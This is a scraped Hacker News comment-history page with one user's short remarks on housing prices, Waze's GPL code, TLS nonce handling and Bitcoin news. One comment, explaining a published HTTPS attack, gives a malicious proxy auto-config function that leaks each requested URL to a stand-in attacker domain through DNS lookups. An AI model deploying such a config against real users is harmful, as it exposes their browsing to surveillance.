zhuzhuor | 8 years ago | on: Hash-based Signatures: An illustrated Primer
zhuzhuor's comments
zhuzhuor | 9 years ago | on: Vancouver house prices are falling
zhuzhuor | 9 years ago | on: Vancouver house prices are falling
See https://www.ft.com/content/87d8a7e8-cfe8-11e6-b06b-680c49b4b...
zhuzhuor | 9 years ago | on: Ask HN: How do you get notified about newest research papers in your field?
I basically just check my twitter account daily (also follow many great researchers who have twitter accounts :))
zhuzhuor | 9 years ago | on: China, Not Silicon Valley, Is Cutting Edge in Mobile Tech
zhuzhuor | 9 years ago | on: New attack that cripples HTTPS crypto works on Macs, Windows, and Linux
function FindProxyForURL(url, host) {
return "PROXY " + base64(url) + ".malicious-proxy.tld:1080";
}
Then the attacker can look at his/her DNS server query log and figure out the URL.zhuzhuor | 12 years ago | on: Mkdown
zhuzhuor | 12 years ago | on: Amazon granted patent for taking photos against a white background
zhuzhuor | 12 years ago | on: Lawsuit: Waze owes 'open-source' programmers $150 million
Originally, the source code of Waze clients was released under GPL, which AFAIR it was as branded as a part of the community-based map app.
But the company chose to not release the source code after v3.0. This is quoted from one of my emails.
In reply to your inquiry "Hi, where can we get the latest waze code?":
Thank you for your feedback.
You can find source code for the old versions (up to 2.4) on our wiki - waze.com/wiki
Version 3.0 and higher are no longer under GPL, and at the moment we are still considering if and how we will share the code for these versions.
Best regards,
I guess Waze either 1) has obtained the agreements of all open-source contributors, or 2) has completely rewritten all related source code.zhuzhuor | 12 years ago | on: Free static page hosting on Google App Engine in minutes
For example, for this case of GAE, you can use
Naked domains <=> CloudFront <=> GAEzhuzhuor | 12 years ago | on: Introducing Open Salaries at Buffer
I am curious if this is common in startup companies, since I have never worked in startups.
zhuzhuor | 12 years ago | on: Bitcoin Falls 20% on PBOC Rumors, Chinese Exchanges Reinstate Fees
See the article [1] on the website of Xinhuanet [2].
[1] http://news.xinhuanet.com/fortune/2013-12/17/c_125874796.htm
zhuzhuor | 12 years ago | on: Kima15: $150K for 15% in 15 days
zhuzhuor | 12 years ago | on: Kima15: $150K for 15% in 15 days
zhuzhuor | 12 years ago | on: CyanogenMod Installer Application Removed from Play Store
After reaching out to the Play team, their feedback was that though application itself is harmless, and not actually in violation of their Terms of Service,...
zhuzhuor | 12 years ago | on: Bitcoin payment processor BIPS compromised, 1295 BTC stolen
zhuzhuor | 12 years ago | on: A Roster of TLS Cipher Suites Weaknesses
But even without the 4 bytes, 64-bit nonce seems enough for me, as long as it's not chosen at random.
For comparison, if the nonce is chosen randomly, the security level is only 2^32 (supposing the 4 bytes based on the key materials remain unchanged).
zhuzhuor | 12 years ago | on: A Roster of TLS Cipher Suites Weaknesses
I don't know how do you integrate AES-GCM with TLS, but I have to say
1. The secure AES-GCM supports 96-bit nonces. It's 12 bytes, not 8 bytes mentioned in the article.
2. Nonce is nonce. It shouldn't be chosen at random (as random IVs). As long as nonces are not reused, GCM should be secure.
3. I don't believe implementing a secure random number generator is more efficient than maintaining an incremental counter.
Edited for typos
zhuzhuor | 12 years ago | on: Usersnap – Visual Bug Tracking
zhuzhuor | 12 years ago | on: Adi Shamir Prevented from Attending Crypto and Cryptology Conferences